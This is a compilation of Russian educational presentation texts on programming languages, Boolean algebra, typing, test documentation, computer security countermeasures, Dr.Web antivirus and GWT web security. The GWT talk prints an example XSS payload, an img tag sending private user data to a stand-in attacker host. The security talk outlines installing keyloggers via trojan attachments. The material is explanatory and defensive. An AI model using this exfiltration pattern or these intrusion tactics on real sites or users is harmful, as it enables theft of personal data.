Языки Символического Кодирования (далее ЯСК), так же, как и МЯ, являются командными. Однако коды операций и адреса в машинных командах, представляющие собой последовательность двоичных  (во внутреннем коде) или восьмеричных (часто используемых при написании программ) цифр, в ЯСК заменены на символы (идентификаторы), форма написания которых помогает программисту легче запоминать смысловое содержание операции. Это обеспечивает существенное уменьшение числа ошибок при составлении программ.

Автокоды, Макрос
7.2.1.3. Автокоды
Есть также языки, включающие в себя все возможности ЯСК, посредством расширенного введения макрокоманд - они называются Автокоды.
Развитые автокоды получили название Ассемблеры. Сервисные программы и пр., как правило, составлены на языках типа Ассемблер
7.2.1.4. Макрос
Язык, являющийся средством для замены последовательности символов описывающих выполнение требуемых действий ЭВМ на более сжатую форму - называется Макрос (средство замены).
В основном, Макрос предназначен  для того, чтобы сократить запись исходной программы. Компонент программного обеспечения, обеспечивающий функционирование макросов, называется макропроцессором.

7.2.2. Машинно – независимые языки
Машинно – независимые языки – это средство описания алгоритмов решения задач и информации, подлежащей обработке. Они удобны в использовании для широкого круга пользователей и не требуют от них знания особенностей организации функционирования ЭВМ и ВС.
Подобные языки получили название высокоуровневых языков программирования. Программы, составляемые на таких языках, представляют собой последовательности операторов, структурированные согласно правилам рассматривания языка(задачи, сегменты, блоки и т.д.). Операторы языка описывают действия, которые должна выполнять  система после трансляции программы на МЯ.
Программист получил возможность не расписывать в деталях вычислительный процесс на уровне машинных команд, а сосредоточиться на основных особенностях алгоритма.
7.2.2.1.  Проблемно – ориентированные языки
С расширением областей применения вычислительной техники возникла необходимость формализовать представление постановки и решение новых классов задач. Необходимо было создать такие языки программирования, которые, используя в данной области обозначения и терминологию, позволили бы описывать требуемые алгоритмы решения для поставленных задач, ими стали проблемно – ориентированные языки. Эти языки, языки ориентированные на решение определенных проблем, должны обеспечить программиста средствами, позволяющими коротко и четко формулировать задачу и получать результаты в требуемой форме.Проблемных языков очень много, например:Фортран, Алгол – языки, созданные для решения математических задач;
Simula, Слэнг - для моделирования; Лисп, Снобол – для работы со списочными структурами.
7.2.2.2. Универсальные языки
Универсальные языки были созданы для широкого круга задач: коммерческих, научных, моделирования и т.д. Первый универсальный язык был разработан фирмой IBM, ставший в последовательности языков Пл/1. Второй по мощности универсальный язык называется Алгол-68. Он позволяет работать с символами, разрядами, числами с фиксированной и плавающей запятой. Пл/1 имеет развитую систему операторов для управления форматами, для работы с полями переменной длины, с данными организованными в сложные структуры, и для эффективного использования каналов связи. Язык учитывает включенные во многие машины возможности прерывания и имеет соответствующие операторы. Предусмотрена возможность параллельного выполнение участков программ.
Программы в Пл/1 компилируются с помощью автоматических процедур. Язык использует многие свойства Фортрана, Алгола, Кобола. Однако он допускает не только динамическое, но и управляемое и статистическое распределения памяти.
7.2.2.3. Диалоговые языки
Появление новых технических возможностей поставило задачу перед системными программистами – создать программные средства, обеспечивающие оперативное взаимодействие человека с ЭВМ их назвали диалоговыми языками.
Эти работы велись в двух направлениях. Создавались специальные управляющие языки для обеспечения оперативного воздействия на прохождение задач, которые составлялись на любых раннее неразработанных (не диалоговых) языках. Разрабатывались также языки, которые кроме целей управления обеспечивали бы описание алгоритмов решения задач.

      Необходимость обеспечения оперативного взаимодействия с пользователем потребовала сохранения в памяти ЭВМ копии исходной программы даже после получения объектной программы в машинных кодах. При внесении изменений в программу с использованием диалогового языка система программирования с помощью специальных таблиц устанавливает взаимосвязь структур исходной и объектной программ. Это позволяет осуществить требуемые редакционные изменения в объектной программе.
   Одним из примеров диалоговых языков является Бэйсик.
       Бэйсик использует обозначения подобные обычным математическим выражениям. Многие операторы являются упрощенными вариантами операторов языка Фортран. Поэтому этот язык позволяет решать достаточно широкий круг задач.
7.2.2.4. Непроцедурные языки
составляют группу языков, описывающих организацию данных, обрабатываемых по фиксированным алгоритмам (табличные языки и генераторы отчетов), и языков связи с операционными системами.
Позволяя четко описывать как задачу, так и необходимые для её решения действия, таблицы решений дают возможность в наглядной форме определить, какие условия должны быть выполнены прежде чем переходить к какому-либо действию. Одна таблица решений, описывающая некоторую ситуацию, содержит все возможные блок-схемы реализаций алгоритмов решения.


title: Скачать презентацию или конспект Алгебра логики

extracted_text:
Тема 1.5Основные понятия алгебры логики
Функции алгебры логики (булевы функции)
Функции алгебры логики (булевы функции)
Основные законы алгебры логики
Основные законы алгебры логики
	5) Законы дополнительности:
	8) Дистрибутивные законы (законы распределения):
Основные законы алгебры логики
	11) Законы де Моргана (законы инверсии):
Формы описания логических функций
	1) Словесное
	2) В виде таблиц истинности
Формы описания логических функций
	3) В виде последовательности десятичных чисел
	4) В виде алгебраических выражений.
Операция замены аргументов одной функции другими, более простыми функциями называется суперпозицией функций
F(x2,x1,x0) = (1,2,4,7) = (1,2,4,7)
F(x2,x1,x0) = (0,3,5,6) = (0,3,5,6)
		Элементарная конъюнкция
		Элементарная дизъюнкция
Формы описания логических функций
	Дизъюнктивная нормальная форма (ДНФ)
	Конъюнктивная нормальная форма (КНФ)
Если в состав логического выражения входят наборы элементарных конъюнкций с одинаковым количеством переменных, связанные дизъюнкцией, то такая форма ФАЛ называется
совершенной дизъюнктивной нормальной формой (СДНФ)
Если в состав логического выражения входят наборы элементарных дизъюнкций с одинаковым количеством переменных, связанные конюнкцией, то такая форма ФАЛ называется
совершенной конъюнктивной нормальной формой (СКНФ)
Пример построения СДНФ и СКНФ
Пример построения СДНФ и СКНФ
СДНФ
СКНФ
Логические элементы
Логические элементы
Тема 1.6Логические основы ЭВМ
Минимизация булевых функций
Метод непосредственных преобразований
Минимизация булевых функций
Метод непосредственных преобразований
Для ранее построенной СДНФ

Для ранее построенной СКНФ
Минимизация булевых функций
Метод Карно-Вейча

1

1

0
Минимизация булевых функций
Метод Карно-Вейча
Свойства карты Карно:
комбинации значений переменных для соседних клеток карты Карно различаются значением только одной входной переменной. При переходе с одной клетки в соседнюю клетку всегда изменяется значение только одной переменной на ее инверсное значение;

соседними являются между собой крайние левые и крайние правые клетки карты, а также крайние верхние и крайние нижние клетки (как если бы карты были свернуты в цилиндры по вертикали и горизонтали).
Все единицы (при записи функции в дизъюнктивной форме) и все нули (при записи функции в конъюнктивной форме) должны быть замкнуты в прямоугольные контуры.
Единичные контуры могут содержать несколько единиц, но не должны содержать нулей. Нулевые контуры могут содержать несколько нулей, но не должны содержать единиц.
Одноименные контуры могут накладываться один на другой, т.е. одна и та же единица (или ноль) может входить в несколько единичных (нулевых) контуров.
Число клеток в контуре должно быть равно 2i , где i = 0, 1, 2, …, n, т.е. число клеток в контуре выражается числами 0, 1, 2, 4, 8, 16, 32, …
Каждой единичной клетке отвечает конъюнкция входных переменных, которые определяют данную клетку. Каждой нулевой клетке отвечает дизъюнкция инверсий входных переменных, которые определяют данную клетку.
Выражения, которые отвечают контурам, не содержат тех переменных, чьи границы пересекаются площадью, ограниченной данным контуром.
Дизъюнктивная форма ФАЛ составляется в виде дизъюнкций конъюнкций, которые отвечают единичным контурам. Конъюнктивная форма ФАЛ составляется в виде конъюнкций дизъюнкций, которые отвечают нулевым контурам.
Если каждой клетке отвечает свой контур, то результирующее выражение представляет собой СДНФ или СКНФ данной ФАЛ. Минимальной ДНФ или КНФ отвечает минимальное количество единичных или нулевых контуров.
Минимизация булевых функций
Метод Карно-Вейча

Минимальная ДНФ:

Минимальная КНФ:
F(x2, x1,  x0) = y1  y2
Построение логических схем
Минимальная ДНФ:
Преобразуем ДНФ:
Построение логических схем
Минимальная КНФ:
Цифровая схема реализации
Применим к КНФ двойную инверсию:

Кроме того, применив к последнему выражению для КНФ закон идемпотентности:

можно реализовать КНФ с использованием только одного типа логических элементов.


title: Скачать презентацию или конспект Набор и редактирование текста

extracted_text:
«Набор и редактирование текста»
Муниципальное общеобразовательное учреждение гимназия №1
Учитель информатики: Скабёлкина М.Ю.
Липецк 2011
5 класс

Цель урока: научиться набирать и редактировать текст
Какое устройство является на рисунке лишним
Разгадай ребус. Полученное слово означает:
1) средство передачи информации;
2) электронный помощник человека;
3) средство хранения информации;
4) способ передачи информации в Интернет.

На какой из принтеров пойдет печать по умолчанию при запуске документа на печать?
Изображенные на рисунке (справа) объекты можно назвать: 1) средства хранения информации;
2) средства передачи информации;
3) средства преобразования информации;
4) средства кодирования информации.
Действия по исправлению ошибок и изменению содержания текста называется  редактированием

Основные правила набора текста:
Строчные буквы, цифры, и знаки «-» , «=», «.» (точка) набираются простым нажатием клавиш.
Прописные буквы, знаки на цифровых клавишах, а также «_», «+» и «,» набираются при нажатой клавише Shift.

Основные правила набора текста:
Между словами ставится один пробел.
Знаки препинания в тексте (кроме тире) не отделяются пробелом от слова, за которым стоят. Скобки и кавычки также присоединяются к выделяемым словам без пробела.
Чтобы начать текст с новой строки, используется клавиша Enter.

Подведение итогов
Что было интересным на сегодняшнем уроке?
Чему мы научились?
Как нам это пригодится в жизни?

Домашняя работа
Страницы 22-23, прочитать
И записи по тетради.
В рабочей тетради №33, 34,35

«Набор и редактирование текста»
Муниципальное общеобразовательное учреждение гимназия №1
Учитель информатики: Скабёлкина М.Ю.
Липецк 2011
5 класс


title: Скачать презентацию или конспект Тестовая документация

extracted_text:
Тестовая документация

Тестовая документация
Test Plan
Test Suite
Test Case
Test Strategy
Test Plan
Тест план (Test Plan) – это документ, описывающий весь объем работ по тестированию, начиная с описания объекта, стратегии, расписания, критериев начала и окончания тестирования, до необходимого в процессе работы оборудования, специальных знаний, а также оценки рисков с вариантами их разрешения.
План тестирования
Стратегия: Как тестировать? Что именно? Как определять ошибки?
Ресурсы: вычислительные, человеческие, временные
Артефакты: документация, отчеты, отслеживание ошибок
Стратегия тестирования
Стратегия тестирования (Test Strategy) –набор идей, определяющих дизайн тестов. Стратегия тестирования является частью плана тестирования.
Test Suite
Test Suite – набор тест-кейсов для проверки определенной функциональности. Кроме собственно списка тестов может содержать информацию о целях тестирования, конфигурации, необходимом состоянии системы.
Test Case
Тестовый сценарий (test case) — набор
входных значений,
предусловий выполнения,
ожидаемых результатов и
постусловий выполнения,
разработанный для определенной цели или тестового условия, таких как выполнения определенного пути программы или же для проверки соответствия определенному требованию.
Структура тест-кейса
Название
Предусловия
Шаги для воспроизведения
Ожидаемый результат
Постусловия

Также могут быть ID, приоритет, тип…
Пример 1
Пример 2
Проверка входа в аккаунт:
Ввести в форме логина user:password
Кликнуть Login
Result:
Произведен вход в систему. Вместо ссылки Login отображается ссылка Hello, User ведущая в раздел Account

Check List
Список того, что нужно проверить
Менее подробный и формальный, чем тест-кейсы
Быстрее создавать
Не обеспечивают такой же уровень воспроизводимости результата
Пример
Матрица соответствия
Матрица соответствия – это двумерная таблица, содержащая соответствие требований продукта и подготовленных тест-кейсов. В заголовках колонок таблицы расположены требования, а в заголовках строк – тест-кейсы. На пересечении – отметка, означающая, что требование текущей колонки покрыто тестовым сценарием текущей строки.
Пример
Баг-репорт
Соответствующим образом оформленное сообщение об ошибке.
Формат зависит от используемой системы управления ошибками (Bug Tracking System), но некоторые поля являются обязательными
Структура отчета об ошибке
ID
Описание
Проект
Версия
Компонент
Priority, Severity
Окружение
На кого назначен
Статус
Шаги для воспроизведения
Фактический результат
Ожидаемый результат
Прочая информация (скриншоты, логи и пр.)
Priority & Severity
Серьезность (Severity) – это атрибут, характеризующий влияние дефекта на работоспособность приложения.
Block, crash, major, minor, trivial, feature

Приоритет (Priority) – это атрибут, указывающий на очередность выполнения задачи или устранения дефекта. Чем выше приоритет, тем быстрее нужно исправить дефект.
Immediate, urgent, high, normal, low
Жизненный цикл бага
Открыт (Open)
Назначен (Assigned)
В процессе (In progress)
Завершен (Resolved)
Закрыт (Closed):
fixed, won’t fix, feature, can’t reproduce etc
Переоткрыт (Reopened)
Отчет по тестированию
Зависит от того, кому предназначен и какую информацию необходимо донести.
Как вариант, может содержать:
Расписание (кто и когда проводил)
Результаты
Что протестировано
Сколько багов найдено
Сколько из них новых
Сколько из них регрессионных
Сколько из них закрыто
…
Выводы о качестве продукта (можно в релиз, всё плохо, и т.д.)
Список найденных багов с указанием статусов, серьезности и ответственных


title: Скачать презентацию или конспект Проблемы компьютерной безопасности: тактика и контрмеры

extracted_text:
Работа рыженко Елены Владимировны, учителя информатики и математики мбоу г. Астрахани «Сош № 64»

Проблемы
компьютерной
безопасности: тактика
и контрмеры.

Как защитить информацию и дать возможность использовать ее по назначению и вовремя? Решение этого вопроса было и до сих пор остается одной из самых актуальных задач.
Введение.«Информация – это кислород современной эпохи. Она проходит сквозь заборы, обвитые колючей проволокой, и ей нипочем границы, обозначенные высоковольтными проводами».Рональд Рейган.
???
???
???
Совокупность факторов, представляющих опасность для функционирования информационной среды, называют информационными угрозами.

Противоправные воздействия на информационную среду могут наносить ущерб интересам человека и общества, поэтому одной из задач информатизации является обеспечение информационной безопасности.

защита национальных интересов;
обеспечение человека и общества достоверной и полной информацией;
правовая защита человека и общества при получении, распространении и использовании информации.

 Основными целями обеспечения информационной безопасности общества являются:
Тайные проникновения классифицируют как:
Физические проникновения – взлом помещения, где мы не имеем права находиться.
Сетевые проникновения.
Запланированные  проникновения.
Случайные проникновения (при благоприятном стечении обстоятельств).
Санкционированные правительством проникновения.

Глава 1. Тайные проникновения.                    «Я работаю по ночам».                               Агент ФБР.
Одна из главных ошибок состоит в поддержке сетевых мер защиты информации при отсутствии должных мер безопасности против физического проникновения.

Контрмеры.
Контроль доступа различных лиц (пропуска, жетоны, биометрические сканеры).
Электронные системы безопасности (датчики перемещения, электромагнитные детекторы, детекторы давления).
Архитектурные особенности здания (бронированные двери, продуманная прокладка кабелей, узкие вентиляционные каналы и т.д.).
Охранники.
Освещение.
Замки.
Защитные барьеры.

Меры физической безопасности можно разделить на:
Политика безопасности – четкий, структурированный и исчерпывающий набор правил и практических мер, связанных с защитой информации.

Перед тем как начать использование уязвимых мест на внешних уровнях компьютерной защиты, необходимо определить характеристики компьютера, с которым придется работать.

Глава 2. Проникновение в систему. «И когда обрушается стены…»        Деф Лепард          исполнитель «тяжелого металла» «Когда обрушается стены».
Тип Bios.
Тип операционной системы.
Пароль Bios.
Запасные пароли.
Извлечение жесткого диска.
Обнуление CMOS.
ЭСКАЛАЦИЯ ПРИВЕЛЕГИЙ.
МЕНЕДЖЕР УЧЕТНЫХ ЗАПИСЕЙ В СИСТЕМЕ ЗАЩИТЫ.
Слабые места:
Перед тем как изменять какие-либо настройки операционной системы, убедитесь в том, что для вашей версии Windows установлены все текущие пакеты обновления, включая свежие «заплаты» системы безопасности. Своевременное обновление системы уменьшает шансы злоумышленников на успешное проведение локальных или удаленных атак.

Контрмеры.
Keylogger, или средство мониторинга клавиатуры,- это такое программное или аппаратное обеспечение, которое позволяет запоминать последовательность клавиш.
Глава 3. Мониторинг клавиатуры.«Я никогда не печатаю на пишущей машинке, мой друг».The Posies, «Farewell, Typewriter», Success.
Узнать пароль;
Получить конфиденциальную информацию;
Найти доказательства незаконной деятельности.

Анализируя эту последовательность можно:
Локально – для установки программы Keylogger понадобится 1-5 минут при наличии физического доступа к целевому компьютеру.
Удаленно – можно отослать электронную почту с «троянским конем», содержащую программу Keylogger.

Использовать Keylogger можно 2-мя способами:
Наилучшая контрмера – обеспечение физической безопасности рабочего места и безопасность в работе с сетью.

Когда заходит речь о защите информации, принимают во внимание два фактора, способных ввести пользователя в заблуждение о надежности защиты данных:
использование нестойких алгоритмов шифрования,   которые легко взломать;
ненадёжность пароля, который легко угадать,
причём оба фактора тесно взаимосвязаны.
Глава 4. Взлом защищенных данных.
Стойкое шифрование.
Политика паролей.
Альтернативы паролю.
Смарт-карты.
Распознавание символов.
Контрмеры.
«Троянский конь» обозначает внешне безобидное приложение, внутри которого на самом деле спрятан враждебный программный код. Троянский конь может быть в игре, почтовом вложении или даже на веб-странице.
Глава 5. «Троянские кони»«Я въезжаю в ваш город на большом черном троянском коне»The Cure, «Club America», Wild Mood Swings
Приложения, предназначенные для локального доступа к системе.
Приложения, предназначенные для вредительских действий.
Приложения, предназначенные для удаленного доступа к системе.
Троянских коней делят на 3 группы:
Анализ сетевых подключений.
Использование брандмауэров
Мониторинг сетевого трафика.
Использование мониторов реестра и программ проверки целостности файлов.
Использование антивирусного программного обеспечения
Использование  специального ПО для обнаружения троянских коней.
Контрмеры.
Многие люди уделяют внимание исключительно обеспечению сетевой безопасности, напрочь забывая о должных мерах физической безопасности, отсутствие которых позволяет шпионам легко проникать в само здание и похищать конфиденциальную информацию.
Заключение.
Первыми линиями обороны на пути шпиона, получившего физический доступ к компьютеру, являются защита при помощи пароля BIOS и авторизация пользователя при входе в систему.

Информация и доказательства, которые кажутся защищенными, на самом деле не всегда оказываются таковыми. Нестойкие алгоритмы шифрования и ненадежные пароли – верная лазейка для шпиона, стремящегося взломать защищенные данные при помощи различных широко распространенных и простых в использовании утилит.

Троянские кони являются весьма эффективным средством компьютерного шпионажа, в особенности против неосведомленных и неподготовленных лиц. Большинство атак с использованием троянских коней осуществляется при помощи вложений электронной почты, веб-страниц либо загружаемых пользователем модифицированных приложений, содержащих код троянского коня, обеспечивающего тайный вход для шпиона.

Информатика и ИКТ. Учебник.11 класс. Базовый уровень/Под.ред.проф.Н.В.Макаровой.-СПб.:Питер,2008.
Угринович Н.Д. Информатика и информационные технологии. Учебник для 10-11 классов.-Москва.:БИНОМ. Лаборатория знаний,2003.
Макнамара Д. Секреты  компьютерного шпионажа: Тактика и контрмеры. - Москва.:  БИНОМ. Лаборатория знаний.2006.
Информатика. Учебное пособие для среднего профессионального образования./ Под общ. Ред. И. А. Черноскутовой – СПб. : Питер, 2005.
Новиков Ю., Черепанов А. Персональные компьютеры: аппаратура, системы, Интернет. Учебный курс. – СПб.: Питер, 2001.

Список использованной литературы.


title: Скачать презентацию или конспект Антивирус Dr.Web

extracted_text:
Создание надежной системы безопасности, сбалансированной по критерию безопасность-стоимость
Формулировка задач, стоящих перед бизнесом в области безопасности
Обеспечение надежной защиты бизнеса при условии минимизации затрат на обеспечение безопасности, включая минимизацию затрат и усилий на поддержание системы безопасности в актуальном состоянии.
Минимальное количество используемых продуктов и систем при оптимальном уровне защиты
Выполнение требований законодательства – построение системы защиты в соответствии с требованиями Федерального закона № 152-ФЗ и другими стандартами
Централизованное управление всеми компонентами защиты
Формулировка задач, стоящих перед бизнесом в области безопасности
Все вышесказанное обеспечивает:
минимизацию затрат на приобретение и сопровождение продуктов,
минимизацию требуемого уровня квалификации обслуживающего персонала и сокращение его количества,
высвобождение ресурсов для других задач.

Формулировка задач, стоящих перед бизнесом в области безопасности
Текущая ситуация в области безопасности
Федеральный закон № 152-ФЗ — шанс для бизнеса
или груз на шее?
Текущая ситуация в области безопасности
Цель проведения аудита информационной безопасности
Получить независимую и объективную оценку текущего уровня информационной безопасности для:
систематизации и упорядочивания существующих мер защиты информации;
обоснования инвестиций в информационную безопасность;
подготовки ТЗ на разработку и создание системы безопасности, в том числе для приведения системы информационной безопасности в соответствие требованиям международных или российских стандартов и требований;
оценки уровня эффективности имеющейся системы безопасности.

Аудит СУИБ по стандарту ISO 27001
Политика безопасности
Организационные меры безопасности
Учет и категорирование информационных ресурсов
Кадровые аспекты ИБ
Физическая защита информационных ресурсов
Управление технологическим процессом
Управление доступом
Закупка, разработка и сопровождение компонентов ИС
Управление инцидентами в области информационной безопасности
Обеспечение непрерывности работы и восстановления
Соответствие нормативным и руководящим документам
Перечень типов объектов защиты

Линии связи и сети передачи данных
Сетевые программные и аппаратные средства, в том числе сетевые серверы
Файлы данных, базы данных, хранилища данных
Носители информации, в том числе бумажные носители
Прикладные и общесистемные программные средства
Программно-технические компоненты автоматизированных систем
Помещения, здания, сооружения
Платежные и информационные технологические процессы
Бизнес-процессы
Конечные потребители результатов аудита
Внутренние пользователи:
Руководство компании
Служба информационной безопасности
Служба автоматизации предприятия
Служба внутреннего контроля/аудита

Внешние пользователи:
Акционеры компании
Регулирующие органы
Страховые компании
Клиенты компании

Стандарт ЦБ РФ СТО БР ИББС-1.0-2010 Обеспечение ИБ организаций банковской системы РФ. Общие положения
Все  процедуры должны быть задокументированы.

Должны существовать процедуры действий на все возможные инциденты.

Все действия и инциденты должны отслеживаться и протоколироваться.

Все документы должны быть утверждены.

11
Стандарт ЦБ РФ СТО БР ИББС-1.0-2010 Обеспечение ИБ организаций банковской системы РФ. Общие положения
5.24. Для реализации и поддержания ИБ в организации БС РФ необходима реализация четырех групп процессов:
планирование СОИБ организации БС РФ («планирование»);
реализация СОИБ организации БС РФ («реализация»);
мониторинг и анализ СОИБ организации БС РФ («проверка»);
поддержка и улучшение СОИБ организации БС РФ («совершенствование»).

12

Организация должна управлять активами:
Должна проводиться инвентаризация активов в соответствии с разработанными принципами классификации активов по их значимости, правовым требованиям, важности и критичности для организации.
Должны быть определены ответственные за активы.
Стандарт ISO/IEC 27001. Обязательное приложение А. Требование А.7
Стандарт ISO/IEC 27001:2005 Требования к системе менеджмента информационной безопасности
Организация должна выявлять угрозы для существующих и новых бизнес-процессов и идентифицировать риски:
Идентифицировать активы.
Идентифицировать угрозы этим активам.
Идентифицировать уязвимости, которые могут быть использованы этими угрозами.
Определить воздействие, которое может привести к потере конфиденциальности, целостности и доступности ресурсов.

Стандарт ISO/IEC 27001. Пункт 4.2.1 г)

Стандарт ISO/IEC 27001:2005 Требования к системе менеджмента информационной безопасности
Организация должна оценивать риски и принимать решения как на основе известных рисков, так и существующих бизнес-целей:
Оценить ущерб бизнесу.
Оценить вероятность возникновения нарушения.
Оценить уровни рисков.
Определить, является ли риск приемлемым, или требуется обработка риска с использованием критериев принятия риска.
Стандарт ISO/IEC 27001. Пункт 4.2.1 д)

Стандарт ISO/IEC 27001:2005 Требования к системе менеджмента информационной безопасности
Стандарт ЦБ РФ СТО БР ИББС-1.0-2010 Обеспечение ИБ организаций банковской системы РФ. Общие положения
5.4. Наибольшими возможностями для нанесения ущерба организации БС РФ обладает ее собственный персонал. В этом случае содержанием деятельности злоумышленника является прямое нецелевое использование предоставленного ему в порядке выполнения служебных обязанностей контроля над активами либо нерегламентированная деятельность для получения контроля над активами. При этом он будет стремиться к сокрытию следов своей деятельности.
Внешний злоумышленник, как правило, имеет сообщника (сообщников) внутри организации БС РФ.
Незлоумышленные действия собственных работников создают либо уязвимости ИБ, либо инциденты, влияющие на свойства доступности, целостности и конфиденциальности актива или параметры системы, которая этот актив поддерживает.
16

Стандарт ISO/IEC 27001:2005 Требования к системе менеджмента информационной безопасности. Риск-менеджмент
Пример частной модели угроз
Пример методики определения актуальных угроз
Стандарт ЦБ РФ СТО БР ИББС-1.0-2010 Обеспечение ИБ организаций банковской системы РФ. Общие положения
Наиболее правильный и эффективный способ добиться минимизации рисков нарушения ИБ организации БС РФ — разработать политику ИБ организации БС РФ и в соответствии с ней реализовать, эксплуатировать и совершенствовать СОИБ.
20
Согласно методике управления рисками:
Работаем над снижением наиболее опасных рисков

Принимаем остаточные риски

3.  Утверждаем

Стандарт ISO/IEC 27001:2005 Требования к системе менеджмента информационной безопасности. Риск-менеджмент

Пункт 5.1.с Установка ролей и ответственности

Пункт A.8.1 Приоритеты найма служащих
А.8.1.1 Роли и ответственность
А.8.1.2 Подбор и прием персонала
А.8.1.3 Условия работы

Пункт A.10.10.4 Действия системного администратора
Действия системного администратора и
системного оператора также должны записываться в журнал.

Стандарт ISO/IEC 27001:2005 Требования к системе менеджмента ИБ.
Работа СМИБ по требованиям ISO 27001
Оптимизация стоимости защиты
Закон — это повод упорядочить бизнес-процессы. Правильное определение угроз и необходимых для работы компании персональных данных позволяет сократить стоимость реализации закона в разы.

Обезличивание
Правильное определение действующих угроз
Правильный выбор ПО с исключением дублирования функций
Максимальное использование возможностей уже имеющихся в ИС средств защиты информации, возможностей ОС и прикладного ПО.
Сокращение количества АРМ, обрабатывающих ПДн.
Разделение ИС межсетевыми экранами на отдельные сегменты. Организация терминального доступа к ИСПДн.
Исключение из ИСПДн части ПДн, хранение их на бумажных или иных носителях.

И это не все!
Пример структуры системы защиты с централизованным управлением
(на примере Dr.Web Enterprise Security Suite)

Обезличивание ПДн — действия, в результате которых невозможно определить принадлежность персональных данных конкретному субъекту.

Ст. 3 Федерального закона № 152-ФЗ «О персональных данных», NIST SP800-122, Стандарт ISO 25237-2008
Абстрагирование ПДн — превращение их в менее точные — например, путем группирования общих или непрерывных характеристик.
Скрытие ПДн — удаление всей или части записи ПДн — ПДн не должны быть избыточными по отношению к цели.
Внесение шума в ПДн — добавление небольшого количество посторонней информации в ПДн.
Замена ПДн — перестановка полей одной записи ПДн теми же самыми полями другой аналогичной записи.
Разделение ПДн на части — использование таблиц перекрестных ссылок. Например, две таблицы: одна с Ф. И. О. и идентификатором субъекта ПДн, вторая — с тем же идентификатором субъекта ПДн и остальной частью ПДн
Использование специальных алгоритмов — например, маскирование ПДн или подмена отдельных символов другими. Идеальным вариантом является использование алгоритмов криптографического хеширования.
Псевдонимизация — удаление ассоциации с субъектом ПДн и добавление ассоциации между набором особенностей, касающихся субъекта ПДн, и одним или более псевдонимами.
Оптимизация стоимости защиты

Выделение отдельного сегмента сети для обработки ПД
Сервер
Принтер
Рабочие станции
Рабочие станции пользователей
Оптимизация стоимости защиты
Комплексная защита от вирусов и спама
Выполнение требований законодательства — построение системы защиты в соответствии с требованиями Федерального закона № 152-ФЗ
Централизованное управление всеми компонентами защиты
Удобство и простота администрирования
Богатый функционал
Нетребовательность к ресурсам
Совместимость приложений
Оптимизация стоимости защиты — Требования к продуктам и системам

Антивирусная защита, соответствующая требованиям закона о персональных данных, должна включать защиту всех узлов локальной сети:
рабочих станций;
файловых и терминальных серверов;
шлюзов сети Интернет;
почтовых серверов.

Использование демилитаризованной зоны и средств проверки почтового трафика на уровне SMTP-шлюза повышает уровень защиты.

Вирусы
Шлюз сети Интернет
Межсетевой экран
SMTP-шлюз
Способы организации антивирусной защиты
Оптимизация функций защиты конфиденциальной информации
Передача функций защиты на аутсорсинг
Уменьшение зависимости предприятий от уровня квалификации ИT-персонала
Снижение потерь рабочего времени, простоев оборудования и персонала за счет уменьшения количества вирусных инцидентов в корпоративной сети
Повышение производительности труда путем снижения количества отвлекающих факторов
Оптимизация расходов на интернет-трафик и контроль за деятельностью сотрудников в сети Интернет
Программно-аппаратные комплексы
Вопросы?
Благодарим за внимание!
Желаем вам процветания и еще больших успехов!

www.drweb.com


title: Скачать презентацию или конспект Google Web Toolkit. Безопасность бизнес-приложений

extracted_text:
Google Web Toolkit
Безопасность бизнес-приложений
Карпунов Геннадий
Донецк, 2010

Появление GWT
	Google Web Toolkit (GWT) был неожиданно открыт для публики 18 мая 2006 года на ежегодной конференции JavaOne в Сан-Франциско. Цель, которая стояла перед GWT, была очень простой: сделать разработку с помощью технологии Ajax проще за счет сокрытия несовместимостей браузеров от программиста и позволить разработчику работать в среде, подобной Java.
Принципы GWT
	Google Web Toolkit объединяет клиентский и серверный код в отдельном приложении, написанном на одном языке - Java. Это имеет ряд преимуществ. С одной стороны, довольно много разработчиков знают Java и JavaScript или Flash. С другой стороны, Java изобилит средствами разработки, такими как Eclipse, NetBeans и IDEA. GWT позволяет создавать web-приложения так же, как вы создаете Swing приложения, обеспечивая создание визуальных компонентов, установку обработчиков событий, отладку и т.д. - все в пределах стандартной IDE.
Источник уязвимости
	Необходимо учитывать, что код Java, написанный в удобной IDE, в конце концов, преобразуется в код JavaScript и будет исполняться в клиентском браузере. Поэтому GWT неявно перенимает все недостатки JavaScript, которые существуют на сегодняшний день. Разработчики Google максимально позаботились об общих вещах безопасности, но не меньшая ответственность в обеспечении безопасности лежит на программистах, использующих GWT.
Угрозы
	При рассмотрении угроз для технологии GWT следует учитывать как угрозы к самой технологии – стандартным классам, взаимодействию клиента с сервером по протоколу GWT RPC, - так и угрозы, которые необходимо учитывать программисту при проектировании и разработке программного комплекса.
Угрозы
	Эти проблемы, как и многие другие в интернете, берут начало от вредоносных программистов. Люди, которые проводят огромный процент своей жизни над размышлениями о том, как украсть данные. Продавцы web браузеров вносят свой вклад в борьбу с этими людьми и один из путей осуществления этого Same-Origin Policy.
Same-Origin Policy
	Same-Origin Policy (SOP) говорит, что код, запущенный на странице, который был загружен с Сайта А, не может иметь доступа к данным или к сетевым ресурсам, принадлежащим любому другому сайту или даже любой другой странице (кроме других страниц, которые также загружены с Сайта А). Целью является предотвращение инъекции вредного кода хакерами в Сайт А, собирающего ваши личные данные и отправляющего Сайту В. Это, конечно, известные ограничения, защищающие AJAX код от XMLHTTPRequest вызовов к URL, который не является тем же сайтом, с текущей страницей.
Варианты XSS взлома
злой код создает невидимый iframe и добавляет в него <form>. Действие формы устанавливается в URL сервера, который контролирует атакующий. Затем форма заполняется данными, которые поступают из родительской страницы и затем форма отправляется.
Варианты XSS взлома
JavaScript может добавлять новые ресурсы - такие как <img> теги - на текущую страницу. Можно вызвать изображение, находящееся на foo.com, для встраивания на bar.com. Не сложно вообразить сценарий, где злой код крадет полезную информацию и зашифровывает ее в <img>; например, тег может выглядеть так:
<img src=“ http://evil.domain.tld/pagehits?private_user_data=12345
"/>
Варианты XSS взлома
злой код создает невидимый iframe, конструирует URL с параметрами в запросе содержащие в себе информацию из родительской страницы и затем устанавливает iframe "src" в URL сервера, который находится под контролем атакующего.
Варианты XSS взлома
злой код создает <script> тег с функциями, похожими на <img> атаку.

	Список путей, которыми злой код может попасть на хорошую страницу, можно продолжать бесконечно.
Защита от XSS
В настоящее время можно быть уверенным, что GWT защищает от XSS в следующих направлениях:
JavaScript на host странице, который не имеет отношения к GWT;
написанный вручную код, устанавливающий innerHTML на GWT Widget объекты;
использование JSON API для разбора ненадежных строк (которые, в конечном счете, вызывают eval функцию JavaScript);
JavaScript Native Interface (JSNI) код, который пишется разработчиком, что нарушает безопасность (установка innerHTML, вызов eval, писать прямо в документ через document.write, и т.п.).
Внешние JS конструкции
